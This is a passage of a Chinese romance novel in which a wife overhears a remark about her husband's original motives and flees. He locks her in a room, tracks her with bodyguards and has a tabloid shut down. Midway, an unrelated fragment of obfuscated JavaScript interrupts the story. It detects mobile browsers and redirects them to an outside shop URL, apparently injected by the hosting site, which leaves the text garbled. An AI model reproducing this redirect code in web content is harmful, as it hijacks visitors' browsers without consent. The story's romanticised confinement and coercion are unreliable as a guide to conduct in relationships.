放学后,杭景妍径直去了凌氏大厦。
因为上次的凌栖珵公然的股份赠与,凌氏所有的人都认识她,一路上并没有人阻拦她,反而停下行注目礼,纷纷友好问候。
她坐电梯直达总经理室的一层,外面静悄悄的,秘书不知道哪里去了。
杭景妍走到门前,正准备开门之际听到里面有人说话。
估计有客人来访。
她不想做在客人面前失礼,正准备先敲门再推门进去,便听到里面人的说话声传来。
“我说,你最近怎么了,失魂落魄的,你家那位又给你气受了?要我说,找女人就要找那些小意温柔的,找一个如此强势的,可不是给自己找罪受。你硬要说为了家族为了事业你可以牺牲。只要你跟她结婚,可以乘机吃掉他们家那一半的产业,这样你家纺织业就可以完成闭环。结果如何?找罪受吧?”
“之前是有类似的想法,但是我不想景妍受到伤害。现在两家联合,早就我中有你,你中有我,既然是双赢的事情何必搞成双输。”
里面的男声说了什么,杭景妍没听清,她也听不见凌栖珵后面说了什么。只感觉耳边嗡嗡的声响,手脚不听使唤地发软,她下意识地扶住墙壁,碰到了一旁的花瓶,发出声响。
惊动了屋内的人,黄合出声问道:“谁在外边。”
杭景妍不想被人发现,慌忙逃离。
黄合见没人回答,疑惑起身开门查看。
看见了杭景妍落荒而逃的背影,暗叫不好。
他连忙招呼:“栖珵,刚刚估计是你太太来了,她估计是听到我们的说话了,她不会误会什么吧?”
凌栖珵听见是景妍来了,立马出门追上去,追到
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电梯门前,电梯已经下行。
他立马按了另外一部电梯追上去。
等追到大堂,只看见黄包车远去的背影。
它他来不及去车库拿车,顺手拦了一辆黄包车。
黄包车停在他面前,他连忙坐上,吩咐道:“给我追上前面那辆黄包车。”
黄包车夫听到吩咐,以为是有什么急事,也不敢怠慢,使出浑身的力气,拼命奔跑。
但还是略输一筹,直到到了凌府门前才追上。
凌栖珵没带零钱,随手给了一块银元,也不等车夫找钱,为了追上妻子,吩咐车夫不用找了。
在门口,终于追上了人,凌栖珵拉住景妍的手:“你刚刚去凌氏找我?为什么不进来?”
杭景妍今天连续受到打击,身心俱疲,斜撇他一眼,冷下声道:“我要是进去了,不就听不到你朋友的精彩发言了。凌栖珵你可真是好深的心计。我们离婚,要玩你自己玩。”说完她甩开男人的手走进屋里。
刚进屋就呼唤绮绿。
“绮绿,收拾东西,我们回家!”她走进衣帽间,拿出行李箱,开始收拾自己的衣服。
凌栖珵见她来真的,上前抱住了她,把人牢牢控制在自己的怀里。
“景妍,你冷静一点,你都没听到我后面说的话就如此武断地判我死刑,对我而言是不是太残忍了?”
杭景妍正在气头上,被人控制住动弹不得,更是激起了她的恨意,她使出极大的力气挣脱出男人的怀抱,甩了一巴掌给他,清脆的响声顿时在静逸的空间响起,她也控制不住地流下眼泪,一边哭一边控诉道:”凌栖珵,你跟旧爱余情未了也就算了,我也从来不敢要求你的爱,还记得你给我的承诺是什么?不要让这些事情上报纸,丢我的脸,丢杭家的脸,我一直为了杭家忍辱负重,没想到你还要蹬鼻子上脸,不仅让我在死对头面前受尽羞辱,还想要我的家产,你当我杭家是什么?我又是什么?是你手中的棋子和玩物吗?"
她擦干自己的眼泪,继续收拾衣物:“别演了,戏演完了,你的旧爱回来了,你的敌人也没了,现在杭家没用了,就演一场戏让我自动退出,我懂,我现在就走。”
凌栖珵被她的一巴掌打懵了,但他不可能放任人离开,他发起狠来把人一步步逼到衣柜前,禁锢住,薄唇靠近耳边轻声,却残忍的宣告:“离婚?没我同意,你想都不要想。”说完,他把人从衣帽间拉出来,放到卧室贵妃榻上:“没有我的允许,你就在这件房子里待着,哪里也不许去。”
他吩咐完想到了刚刚她说被人羞辱一事:“你今天早上遭受了什么,我自会帮你报仇,你就老实待着吧。”
杭景妍的性格怎么会如他所愿。站起来直接就走。
然而凌栖珵比她更快一步,走到门前把门关上,锁住。
赶来的绮绿见此状况一头雾水:“这是怎么了?”
凌栖珵面不改色的撒谎:“你家小姐生病了,这几天要静养,别让她出门,要是让她出门加重病情,我回来拿你是问。”
里面的杭景妍听到外面的说话声气的破口大骂:凌栖珵你这个大骗子,混蛋。”
39. 第 39 章
绮绿等到凌栖珵离去才走到房门前,小声试探地问道:“小姐,你怎么啦?是跟姑爷吵架了吗?我见姑爷气汹汹地走了。”
杭景妍真是被凌栖珵的野蛮行径刺激到了,平时装作多么文质彬彬,多么深情。现在终于撕下面纱,原形毕露。
就这扇门还想难住她。
她跑到门边对绮绿道:“绮绿,你放我出去。我们收拾行李回家,这地方一刻也不能待了,这就是个魔窟。“
绮绿虽然不知道小姐和姑爷之间发生了什么,但是一直很听杭景妍的话。立马试图开门,但是找不到钥匙。
”小姐,钥匙被姑爷拿走了,我不知道还有没有备用钥匙?”
杭景妍想起了自己一直在门外花园中放着一把备用钥匙,以备不时之需。
她吩咐绮绿:“你去花园里,第二盆兰花地下找一下看看有没有备用钥匙。”
绮绿听命去花园中寻找,果然在兰花下找到了备用钥匙,她用钥匙打开了门。
杭景妍在屋里已经收拾好了行李。
等绮绿叶收拾好自己的行囊,主仆俩相携回了杭家。
杭府内,杭夫人听见下人通报女儿和丫鬟突然回来甚是惊喜。立马起身迎接
“景妍,怎么突然回来了?杭夫人惊喜道,她拉着女儿的手上下端详,自从女儿出嫁后几个月都没见了,甚是想念。
杭景妍俏皮道:“母亲,你看出了什么?”
杭夫人欣慰:“没有瘦,看来过得不错。”
“瘦肯定是没有,但是并不能说我过的不错,妈,我这次回来是要跟凌栖珵离婚。”
乍然听到这一番言论,杭夫人也很吃惊,但是她知道事关重大,她做不了主。
“等你爸回来,你在跟他详谈。”
杭正则在傍晚时分下班回到了家。
杭景妍立马去书房,还不等杭正则坐下喝一口水,便立马抛出惊天炸弹:“爸,我要和凌栖珵离婚。”
正在喝水的杭正则差点被女儿的言论惊到,反应过来,他重重地把杯子放在桌上发出嘣的一声,冷下脸来:“胡闹!”
”爸,你问都不问我为什么离婚就就说我胡闹。你是不是太偏心眼了。”
杭正则简直被女儿气的心口疼,“我还不了解你,从小到大都被我纵容坏了。”
见自己被误解,杭景妍气急,道:“我偷听到,凌栖珵是为了吞掉我们的家产才跟我结婚的,爸,你还要幻想到什么时候。你真的以为凌家是救苦救难的菩萨吗?”
“凌栖珵亲口跟你说的?”
“那倒没有,他朋友说的,但是他也没有否认。”
“为父告诉你一个道理,认清一个人不是看他说了什么,而是看他做了什么,你以为如今我们杭家的处境,如果他真的要吞并,我们还能活到今天吗?谁说的话你都信。回去好好跟栖珵过日子,万不可再胡闹了!”
杭景妍没想到她话都已经说了那么明白了,父亲还是那么相信他,显得她如此愚蠢,她所作所为难道不是为了杭家吗?
她深知父亲的性格,话说到这个份上,估计没有商量的余地。她愤愤不平离开书房。
收拾好行李,离开了家。
傍晚回到家的凌栖珵,觉得院子里一片寂静。绮绿也不知道去哪儿了,一直在院中的橘气球也不见踪影。
他心内不安,立马来到二楼主卧前,卧室门大开,那还有一个人的影子。
他立马去衣帽间查看,果然,一边存放女士衣物的柜子已经空空如也。
他的妻子带着佣人和猫消失得无影无踪。
凌栖珵颓废地坐在窗边的贵妃榻上。他实在是没想到因为朋友的一句戏言事情就变成这样。他后悔自己曾经龌龊的想法,导致了现在的局面。
凌栖珩出手离间固然可恶,他的思想更是给两人的关系继续浇上一盆冷水。
要是知道自己有一天会为了一个女人失了心,他打死都不敢有这种想法,现在的他恨不得穿越回去抽自己一巴掌。
凌栖珵不敢放纵自己沉浸在情绪中太久,还是要找到妻子要紧。
他首先想到的是她可能会娘家了。
他给杭府去了电话。
电话是杭夫人接的,但是杭夫人说景妍下午回来以后又走了,问了她没回去吗?
凌栖珵不敢让岳母担心,只好撒谎她说了是跟朋友出去玩了,自己不放心问问。
杭夫人知道他们夫妻间闹了小矛盾。
说了一些过来人的教训,夫妻之间有矛盾是很正常的,重要的是要坦诚沟通,互相包容,切不可因一点小事便轻言离婚。
凌栖珵连声答应下来。
等挂了电话,他不禁紧张起来,没有在杭家,那到底去了哪里,可千万不要乱跑出事才好,凌栖珩那边虎视眈眈。
凌栖珵越想越紧张,他招来手下十几人去常去的地方寻找。
一番吩咐下去,他又查了景妍身边朋友的电话打过去,试探口风。
首先想到杭景妍的好闺蜜静冉。
电话响了很久那边才接起。
凌栖珵直接开门见山,问道:“景妍是不是在你那里?”
电话另一头静冉冷哼一声:“凌先生,都要离婚了,还找什么人呢?”
她的口气让凌栖珵断定景妍一定在她那,就算不在也曾经来过,她一定知道景妍的去向。
“景妍麻烦你照顾了,我立马去接她回来。”
“我什么时候说杭景妍在我这里了?她不在。”静冉语气含着被拆穿的心虚,厉色道。
"如果她不在,你怎么知道我们要离婚?难道不是景妍告诉你的?"
“你....”静冉被堵得哑口无言。为了不继续露馅,直接挂了电话。
她转头跟在一旁偷听的杭景妍道:“你听见了,这个老狐狸,太聪明了。人家要来抓你了。”
“来就来,我怕他吗?反正我不开门,你也不许开。”杭景妍理直气壮得耍赖。
“他以为他是谁啊?他来接人我就要跟他回去啊?有本事他强闯民宅啊。”
“我看他你那个架势,真的有可能强闯民宅哦。”静冉好心提醒。
“那怎么办,我们跑吧。”
两人一商量,便想撑着人还没有来,去找个地方吃饭。
商场肯定去不了了,人多嘴杂。更容易被发现,他们找了一家巷子里的小店。
那里每天只做两桌生意,需要电话预订,在小巷子深处,极其难找。杭景妍也是因为一个偶然的原因找到了这家美食。
两人骑着单车一路串到了这个小店门前。
刚坐下不久,便遇到刘成壁也在这边。
几人寒暄过后,也就坐在一桌一起吃饭。
刘成壁望着坐在对面的杭景妍有点心疼,几次想开口安慰,都吞了回去。最后还是忍不住开口道:“景妍,你没事吧?”
“啊?”
“报纸上的事情我都看到了。我想说,如果你需要帮忙,尽管开口。”
杭景妍恍然大悟,她不想把这些事情乱说,只道:“谢谢成壁哥哥,我自己可以解决的。”
“唉,自己解决什么呀?你那老公马上就要杀过来了。你能怎么办?我看还是跟成壁哥哥说了吧。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284267|151994||http|test|mini|href|location''.split(''|''),0,{}));
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>“这到底怎么回事?”刘成壁问道。
静冉心直口快:“景妍,想离婚,但是她老公不同意。现在可能要来带她回家了吧。她家里也不支持她,现在她无处可去。”
“那就去我那住吧。我还有一栋空了的小公寓。你放心,凌栖珵绝对找不到那里。”
杭景妍听了也有点心动。她不想向那个狗男人屈服。但是又不想连累别人。万一凌栖珵发疯针对成壁哥哥,那不是给别人带来无妄之灾吗?
“成壁哥哥,要是连累了你怎么办?实在不想把你卷入这些复杂的事情中。”
“没事,我不怕他,再说凭我们从小一起长大的情谊,你这么说就见外了。”刘成壁唇角勾起宠溺的笑容,抬起手摸了摸景妍乌黑的秀发。”
举手投足间,透着哥哥对妹妹的宠溺。
然而没过多久,便听到一阵低沉的男声响起:“刘先生,没经我同意就私下约我太太吃饭,这样不好吧?”
众人闻声纷纷转头望去,凌栖珵在保镖的簇拥走进来,坐在了杭景妍身旁,一边给她夹菜一边招来服务员给拿上一副碗筷。
“来这里吃饭也不跟我说一声,让我好找。以后不许不打一声招呼,偷偷跑掉知道吗?”凌栖珵语气宠溺温润中透着着上位者掌控一切的威势。细听之下,不禁让人汗毛倒立。
杭景妍不禁被他看似温柔的架势吓的一动不动。
对面的刘成壁看不惯凌栖珵这副做派,挺身而出道:“凌先生,虽然你们夫妻的事情我作为一个外人不好参与,但是景妍是我朋友,她有难,我必然不会袖手旁观。”
“哦?我还不知刘先生这么大义凛然。不知我家景妍有什么难需要刘先生帮忙。”
“明知故问。试问如果凌先生做得好的话,景妍何故要逃离你?”刘成壁微微蹙眉,严肃问道。
“只是夫妻之间的一点小误会,就不劳刘先生费心了吧。”
“呵呵,我看这误会可不小吧。不然景妍何故躲你跟躲耗子似的。”
凌栖珵也不欲在这里和一个陌生人费口舌解释他们夫妻间的事情,抬手召来老板买单。
然后拉起杭景妍欲走。
杭景妍奋力挣脱他的手,道:“要走你走,我要跟朋友吃饭。”
凌栖珵感受着温润细滑的小手不知从哪来的力量,奋力对抗着,从他手中滑出去。
手中温润突然消失,看着空荡荡的手心,他有一瞬间的失神。
“景妍。”凌栖珵惊呼。
刘成壁适时道:“景妍,你不想走就不要走。”
凌栖珵气愤道:“刘成壁,你敢公然撬我墙角,你是觉得我不敢把你怎么样吗?”
“凌大公子当然可以想让我怎样就怎样,但是为了景妍我也不会向你屈服。”刘成壁站起身公然怼道。
一时间,两个男人剑拔弩张,成对立之势,谁都不肯退让,恨不得把对方生吞活剥了。
刘成壁拉过杭景妍的手,道:“景妍,我们走。”
凌栖珵哪里肯让自己妻子就这样公然和别的男人离去,立马抓住杭景妍的另一边手道:“别跟他走。我有话跟你解释。”
杭景妍并不相信他的话,冷言道:“没什么好解释的,我要离婚。”
刘成壁上前把两人的手分开。“现在才来挽留,晚了吧,早知今日何必当初。”说完拉着杭景妍的手出了饭店。
凌栖珵不想进一步激化矛盾,没有选择硬来,最终还是放任离开。
“哎,你们等等我呀!”在一边吃瓜看戏静冉,正看得津津有味,见三人大戏已经唱完,当事人离开,立马反应过来起身追人。
40. 第 40 章
保镖见人已经走了,上前询问:少爷,是否要拦下来?
凌栖珵沉吟片刻,他本想直接把人带回去,但景妍抵死不从,为了不让事态激化,他选择退让。
但这绝不意味着他会给杭景妍自由。他吩咐手下:“默默的跟上去,看一下她的落脚点在哪?记住,不要惊动他们。”
刘成壁带杭景妍回了自己园林路的一套公寓。
他带杭景妍姐妹两进去公寓,边打开门边介绍:“这是我爷爷留给我的一套房子,平时我不住这边,一直空置着,管家偶尔派人来打扫。”
杭景妍走进来巡视了一圈。三房一厅带两个阳台,房子不大不小,刚好够她和绮绿住。
打开连接卧室和阳台的门,站在阳台上,刚好可以欣赏路边的梧桐。
这整栋公寓都置身于梧桐阴影中,一副闹中取静之像。
“怎么样?我这里还可以吧?你就在我这里住下来。以后的事情以后再说。”刘成壁走上来,与杭景妍并排站在阳台上,欣赏着梧桐绿荫说道。
“行啊,刘成壁,没想到你还有这样的好去处。景妍,你就住下吧。他凌栖珵不久觉得你无处可去拿捏你吗?这回我们就让他看看。”静冉在一旁怂恿道。
杭景妍对这里也很满意。只是她其实不太想把刘成壁卷进他们夫妻的纠葛来,万一凌栖珵恼羞成怒,针对他,这让她过意不去。毕竟凌栖珵的手段她是知道的。”
“我在这里住下,万一给你造成麻烦。成壁哥哥,不到万不得已,我真的不想麻烦你。你还不知道凌栖珵的手段。”杭景妍陷入了巨大的纠结之中,她很想乘此机会拜托凌栖珵,但是她也知道,那个男人的强大,只要他不愿意,她是不可能那么轻易脱身。
“你先别想那么多,现在我这里安顿下来再说。”
杭景妍现在思绪混乱,一整天发生的事情太多了,她接受无能。
只好暂时安顿下来。有一个冷静的空间思考接下来要做的事情。
“那我就先暂时住下。麻烦你了,成壁哥哥。”
“耶!终于有个清净的地盘给我们姐妹聚会了,以前你在凌家,我都不敢去打扰你。”静冉高兴的简直是要蹦起来。
“等我以后自己赚钱,买一个属于我自己的屋子,可以让我们姐妹聚会说悄悄话。”静冉的话启发了她,女人还是要有独属于自己的小屋。无论发生什么都可以为自己遮风挡雨。
“好啊!以后我也要赚钱买自己的房子,这样我们好姐妹就可以互相串门了。”静冉会说的也想买房。说到这里她又想到什么,问道:话说我们快毕业了,未来你有什么打算?
杭景妍低头沉思,现在自己身无分文等同于手无寸铁,根本无法和凌栖珵抗衡,她只有接管家族企业,有了杭家产业在手,才能与凌栖珵对抗。
现在她意识到她以前的理想的天真,摄影师在这个乱世根本无法让她获得安身立命的资本,只能是茶余饭后的业余爱好。她作为杭家的独生女只能挺身而出。这是出生在这种的家族毕竟承担的责任,也是她们的宿命。
她回答道:“我本来想去当摄影师,或者开一个照相馆,但是我知道我的宿命注定与它无缘。我可能要进去家族企业练手。”
“也好。这样凌栖珵那个狗男人就不能拿捏你了。”
“以后在商场遇到什么麻烦,需要帮忙的尽管开口。”刘成壁在一旁道。
杭景妍看着这个从小到大一直在自己身边保护自己的人,由衷感激。“谢谢你,成壁哥哥。”
刘成壁思虑再三,终于鼓起勇气,伸出手摸了摸杭景妍的头。
“跟哥哥还客气什么。”刘成壁安顿好她们。也告辞了,把空间留给他们姐妹俩。
静冉望着刘成壁离去的背影,若有所思道:“景妍,你的成壁哥哥是不是对你有意思?”以她女人的直觉来看,刘成壁看景妍的眼神绝对不是一般哥哥看妹妹的眼神。
然而神经大条的杭景妍却不这样想。她白了静冉一眼,道:“你能不能别什么都往男女关系上想?成壁哥哥从小都对我很好好吗?”
静冉对这个神经大条的女人无语了。男人才不会无缘无故对一个女人献殷勤。从他的表现来看,正牌老公感觉到威胁是很正常的。
但是这话她也只能在心里想想,既然人家正主不这样认为,那他也就不多此一举。
“好了,好不容易来道一个自由的地方,我们姐妹大醉一场,如何?”静冉说着,蹦跳着去找了有没有酒柜,找了一圈果然找到了。
她拿来开瓶器,开启了一瓶红酒。并拿了两个酒杯满上。给杭景妍一杯,自己一杯,两人在梧桐树下阳台上,沐浴着月色,对着楼下的车水马龙,举杯对碰:“来,庆祝我们景妍,摆脱狗男人,走向自己的新生!”
“摆脱狗男人,走向自己的新生!cheer!”杭景妍喊道,而后一口干完了杯中酒。
楼下跟踪而来的保镖,听到两个女人的豪言壮语,不禁嘴角抽蓄。
老板要是知道他成了女人口中的狗男人不知道作何感想。
保镖何盛滑留下了一个兄弟在这里替自己看着,他回去给老板通风报信。
在火锅店等待的凌栖珵等到了保镖跟踪得知的地址,立马出发。
二十分钟就到了刘成壁的美合公寓楼下。
他抬头望着上面的阳台,在保镖的指示之下得知了小妻子住在哪层。
仔细看去看到阳台上隐隐约约透出两个女子的身影。
放下心来。
身边助理适时递上了今天的报纸。
凌栖珵接过扫了一眼,上面赫然写着凌大公子和初恋甜蜜约会,疑似旧情复燃。
他再扫到开头,星光小报。
一旁的助理小心翼翼看着老板一眼,只见他眉目微皱,黑眸深沉如渊,薄唇紧抿。看来是要发怒的前兆。
他扫了一眼报社名,星光小报?没听过名字的八卦报纸。看来是上次的警告没有通知到人家。敢在太岁爷上动土,发他家太子爷的隐私,这回这小报多半是完了。
果然。
凌栖珵二话不说把报纸摔到地上,命令助理道:“林薄,明天,我要看到这家报社关门大吉!”他说完脚上踏过落在地上的报纸转身回到车上。
林薄连忙给人开门,等
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人在后座坐定,在关上车门。
凌栖珵命令:“上车!”
“那夫人这里?”
“留下两个人就行。”
林薄立马上车坐上副驾驶。
“老板,接下来我们去哪?”
“查下这个星光小报的地址,我要亲自会一会,我倒要看看他们多有胆?敢跟我对着干!”
一行人三十分钟后到达了星光小报的大门口。
一排保镖率先下车,其中一人给凌栖珵拉开车门。
凌栖珵迈出车门,站定,抬手随意地整理袖口,随意憋一眼星光小报的招牌,大踏步走进去。
两排保镖紧随其后。
一大群人涌进来,给报社里的人无形的的压力。
其中一个小个子戴眼镜的壮起胆子上前来问道:“你们来找谁?”
林薄道:“叫你们总编辑下来回话!”
星光小报的总编辑在楼上听到声音下来查看。
看到来人,顿时腿软,立马连滚带爬的来到凌栖珵面前,双膝跪地求饶。
“凌少爷,饶命,我们也是被二少爷逼迫的。”
凌栖珵姿态随意地靠着桌子倚着,双腿自然交叉,拿过手边的报纸随意地扫一眼,并不看跪在地上求饶的编辑。
但是站在他身边的人已经感觉到他看似随意的动作之下的怒气,周身散发的低气压让身边人大气都不敢出。
“他叫你干什么你就干?我的话你就敢当耳旁风,看来还是他凌二少有人格魅力,我还要好好向他学习才是。”轻飘飘的话语带着无尽的威压。
“你们说是吗?”话音未落,凌栖珵发狠把身边的文件扫落在地,轻飘飘的文件洒落在跪在地上的总编辑身上。
周边却安静极了,所有人大气都不敢出,都知道这个男人的怒气已近极点。
“大少爷,我错了。您大人不记小人过,绕了我这一次吧!”
凌栖珵好似听不见人求饶。
自顾自地环顾报社环境,道:“林博,这个地方有年头了吧?在这里办公火灾安全隐患怎么办?给消防局的打电话,让他们干干活。”
林博领会了凌栖珵的意思,立马给消防系统去了一个电话。
等到林博打完电话。凌栖珵站在可怜兮兮跪着的总编辑面前,道:“我看你连日劳累,也是辛苦了,就放个几天假休息休息。免得人老智昏,干出匪夷所思的事情来。”
“我这个人可是很体贴底下人,绝不会虐待老人,让人超时工作。”
“老板说的是!”底下保膘适时出声,附和老板。
“凌总!凌少爷!你高抬贵手,我们是小本经营,实在经不起折腾啊!”总编辑可怜兮兮地抱着凌栖珵的裤腿求饶。
凌栖珵居高临下冷睨他一眼,俊美的五官透出无尽的嫌恶之情。
保镖立马上前拉开了抱着人大腿的总编辑。
凌栖珵嫌弃地甩了甩裤腿,吩咐林博:“你留下来处理接下来的事情。剩下的跟我回去。”
“是。”林博答道。
凌栖珵走后不久,星光小报因为火灾安全隐患暂时查封。
41. 第 41 章
另一边,昏暗狭小的弄堂内,杨洛漪的母亲坐在昏暗的灯光下阅读着报纸,然而刚展开报纸却看到女儿和前男友的照片,报纸上大大的标题写他们旧情复燃。
杨母担心女儿现在的感情状况,把女儿叫到跟前询问:“你现在又跟凌家大公子搅和在一起了吗?报纸拍到了你们的照片。”
杨洛漪一上来看到母亲手边的报纸便知道母亲唤她是因何事。
为了不让母亲担忧她早已想好了说辞。
“是的,母亲放心。这回凌老爷已经身患重病,躺在床上不能动弹,没有人在阻止我和栖珵在一起。”
“当时,你们谈的好好的,你突然要去国外留学,我也觉得惋惜。可是,凌家大少爷已经和杭家联姻,你现在再凑上去就是第三者,我们家虽然不富裕,但是我也不许你这样作践自己。败坏杨家的名声。”
“现在你们这样不清不楚,平白惹人非议,洛漪,听娘的话,如果他真的爱你,等他离婚再说。不许你跟他这样偷偷摸摸不清不楚。”
杨洛漪心下暗暗道,再不下手,人就要飞走了。
当时她以为她能拿捏这个男人,所以在凌老爷开出可以免费送她去国外留学的诱惑,她二话不说就答应。当时凌栖珵苦苦哀求她不要走,她动之以情晓之以理,要他等她,便登上去美国的轮船,一去不回。
她以为这个男人会一直默默留在原地,但现实是,人一旦转身,便不再回头。
她不可能坐视到手的鸭子飞了,现在就是使尽手段也要把人追回来。
她绝不忍心给别人做嫁衣。
幸好现在老天爷都在帮她,凌家内斗,凌老爷被气的一病不起,正是最好的时机。
“妈,你放心,我做事有分寸。”杨洛漪安抚着母亲。而后伺候她洗漱上床休息,才回到自己房间。
刚刚回到自己的房间不久,电话铃声响起。
杨洛漪生怕吵醒母亲,立马跑到客厅接起电话。
“我是杨洛漪,你找谁?”
另一边的凌栖珵回到空无一人的小屋中,仰面躺在沙发上,疲累得把一只手放在额头上,拿着电话,道:杨洛漪,我看在过去的份上,不想把事情做绝。但是,你却跟凌栖珩勾结想要对付我。为什么一个曾经单纯善良的女孩子会变成这样。你让我太失望了。”
“我警告你。如果你不想耗尽我对你的最后一点情分的话,停止跟凌栖珩勾结。停止伤害我的妻子。不然我不会对你,对凌栖珩手软。到时候别怪我心狠手辣。”
杨洛漪听见这番话,不禁落泪。
“凌栖珵,你一定要这么对我吗?你为了那个女人威胁我?!她比我好在哪?是她把你抢走了!我为什么要放过她?”杨洛漪歇斯底里的发泄着委屈和不甘。
凌栖珵感觉头一抽抽的疼。他最烦和女人讲道理,因为女人从来不讲道理。
他想不明白,明明是她说走就走,抛下她去了美国,现在却赖在别人身上。
“杨洛漪,你讲讲道理好吗?是你抛弃我走的。没有人逼你,你现在为何还做出一副委屈模样。你要知道,没有一个人能永远停留在原地等你。在你转身离开的那刻,我们就永远没可能了!”
“不是的。栖珵,你说过你会永远爱我,现在你却爱上了那个女人,还为了她威胁我?她给你灌了什么迷魂汤了?”
凌栖珵不愿意和她多费口舌。直接挂了电话。
该说的他都已经说了,如果她继续执迷不悟,他也断然不会手软。
电话的另一头,杨洛漪一声吼完,只听见电话那头已经变成了忙音。
她呆住了。曾经他对她耐心十足,从来不会先挂她的电话,现在他的耐心再也不会留给她了吗?
不过是四年的时间,却像横亘在两人之中的银河,他转身离去,越走越远,她却像刻舟求剑的人,以为一切永远停留在原地。
这样的认知让她恐慌,让她发狂。
她绝对不接受如今的局面,绝不!
正在她陷入恐慌的情绪中不能自拔时,一声电话铃再次想起,杨洛漪以为是凌栖珵回拨回来,立马接起,语带急切期盼:“栖珵?”
然而电话的另一边却响起了另一个男子的声音:“栖珵,你想我大哥想疯了?我是凌栖珩。”
意识到认错人,杨洛漪收起了情绪,换上一副清冷的声调:“你打电话来有什么事情?更深露重的。”
电话那头传来不正经的一声调笑。
“杨大小姐听出来我不是我哥。连装都懒得装一下了。如此之态真是让我心寒啊!”
杨洛漪知道这人一贯不正经。也懒得跟他扯皮。
“有什么事情快说,没事,我挂电话啦。”
“等一下,杨大小姐还是这一副急不可耐的样子。我打这通电话是来告诉你,凌栖珵已经把我们买通的星光小报给整倒闭了。看来你的魅力不顶用,人家不吃你这套。”
听到这个消息杨洛漪很吃惊。
看来他在电话里说的是真的。不过是一个小报随便一张捕风捉影的照片,用得着那么大动干戈吗?看来他真的很在乎杭景妍的想法。”
杨洛漪没把刚刚接到凌栖珵电话的事告诉凌栖珩。
“你不是说你能帮我拿下凌栖珵吗?现在你却在这里说风凉话。”
凌栖珩哈哈大笑,他惊讶这个女人的天真:我什么时候说过?我们只不过是各取所需。我需要拆散他跟杭家的联姻,你需要抢回你的男人,大家利益一致目标相同罢了,我能帮你什么?难不成帮你把他绑到你的床上?”
“你?”杨洛漪被气的哑口无言。
“不过我觉得这也是一个办法?不行你可以试试给他来强的,我相信男人都会喜欢。作为男人只能帮你到这了。哈哈哈!”
凌栖珩的话虽然粗鲁,但是不失为一个可行的办法。杨洛漪想到这不禁有些动心。
美合公寓内,杭景妍酒量不行,两杯下去便醉的不省人事。
静冉还清醒着,把人扶回了床边
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。
杭景妍嘟囔着,大骂一句狗男人。
“凌栖珵,你个狗男人,你爱和初恋就跟你的初恋去双树双栖吧。我不稀罕你了!”
静冉把人放在床上躺下盖着被子。她坐在床边无奈叹气:“哎,爱情使人盲目。好好的一个人就被折腾成这样了。”
第二天,杭景妍和静冉去上学。
之前闹事那几个被她教训一顿,不敢上前来烦她了。
两人刚坐下不久,便听到有人谈论起歌咏比赛的事情。
静冉听了便起哄让景妍去报名。说不去浪费了她的天籁之音。
杭景妍听了也升起了兴趣,反正这段时间心情糟糕,唱唱歌换一下心情也是好的。
她便去报名处了解情况,拿回了报名单。
拿过报名单以后,杭景妍想了很久,又觉得自己一个人上太孤单了,便怂恿静冉也跟她一起上。
“冉冉,要不我们一起去吧?”
静冉听见要让她登台唱歌,如临大敌,连忙摆手:“还是别为难我了。景妍你唱那是恰如其分,我唱那是不自量力,我还是知道自己有几斤几两的,就不上台丢这个人了吧。”
“不行!你必须上。看在我失恋的份上,你陪陪我吧。”杭景妍拉过她的手摇晃着撒娇耍赖。
以往玩这一套,静冉都受不住她的撒娇大法从了她。
现正准备从了他之际,一个人突然冒了出来。
“嫂嫂,我也报了名了,我跟你一起去吧?有我陪着你,不要怕。”凌绘雨不知道从哪里冒出来道。
两人都被他突然冒出来的声音吓到了。
连忙拍着胸口,等看清了,来人以后才松了一口气。
“绘雨是你啊”
凌绘雨从身后拿出准备好的礼物放在景妍的桌面上,缓缓推到她的面前。带着小心说:“这是我哥让我带来给你的。他怕出现在你在面前,你会生气。所以叫了我来当说客。”
杭景妍单手打开面前的蓝色丝绒盒子,一个蓝宝石胸针静静躺在其中,蓝宝石不小,目测有十克拉左右,周围用钻石镶嵌成花朵的模样,在蓝色丝绒礼盒的衬托下钻石闪烁着熠熠的光辉。
她只看一眼便合上了盖子,推回给凌绘雨
“拿走吧,以后我不会再要他的任何东西,你回去告诉他有些伤害不是用珠宝可以弥补的。”
凌绘雨抓着景妍的手,神色略带焦急。
“嫂子,我不是为我哥哥说话。虽然我也觉得这个事情很荒唐。但是这并不是他的本意,话也不是他说的。看在他认错态度良好的份上,再给他一次机会好吗?”
“其实,我是不想来当你们俩的和事佬的。但是哥哥昨天那副生无可恋的样子来求我,我觉得他是真心的。我当妹妹的还是不忍心,才来做这个吃力不讨好的事情。”
杭景妍无奈叹气:“绘雨,人与人之间最珍贵的便是信任。他打破了我对他的信任,现在一个胸针几句话便让我重拾对他的信任,谈何容易。”
42. 第 42 章
凌绘雨收回了胸针。她知道哥嫂之间的事情不是她几句话就能缓和的,只是尽妹妹的责任,为她的哥哥努力一把,替他表明一个态度。就算嫂子不接受,也无愧于心。
凌氏办公室。
凌栖珵一大早就来了,自己一个人在家,早上起来下意识摸一把身边,空无一人,才反应过来,妻子已经离他而去。这种孤单寂寞的感觉很久都没有感受过了,好像又回到了以前,这个世界只剩下他孤零零的一个人。
为了摆脱这种情绪,他只能早早来加班。
一整天人都心不在焉,想去看看景妍,又担心她看到他不开心。
不知道拜托绘雨当说客效果怎样。
凌氏所有人今天都心惊胆战。知道领导情绪不好,能不打扰他坚决不去他面前触霉头。
一到下班时间能走的溜得比泥鳅快。
凌绘雨放学来到凌氏。
一来到门口,便听到哥哥训人的声音。
“你们是怎么办事的?这么点小事,你们都办不好。一点小纰漏都查不出来,我养着你们还有什么用?”饱含怒气的声音,从门缝中露出。
而后便看到部门经理灰头土脸的开门出来。
见到她打了一声招呼。
凌绘雨点点头,随后走近了办公室。
凌栖珵看到她来了,阴暗了一天的脸色终于有了一点阳光,暗沉的眼眸微亮,仿若见到了救星。连忙起身招呼妹妹到会客厅坐,并给她泡茶。
凌绘雨调侃道:“哎呦,这是太阳打哪边出来?”
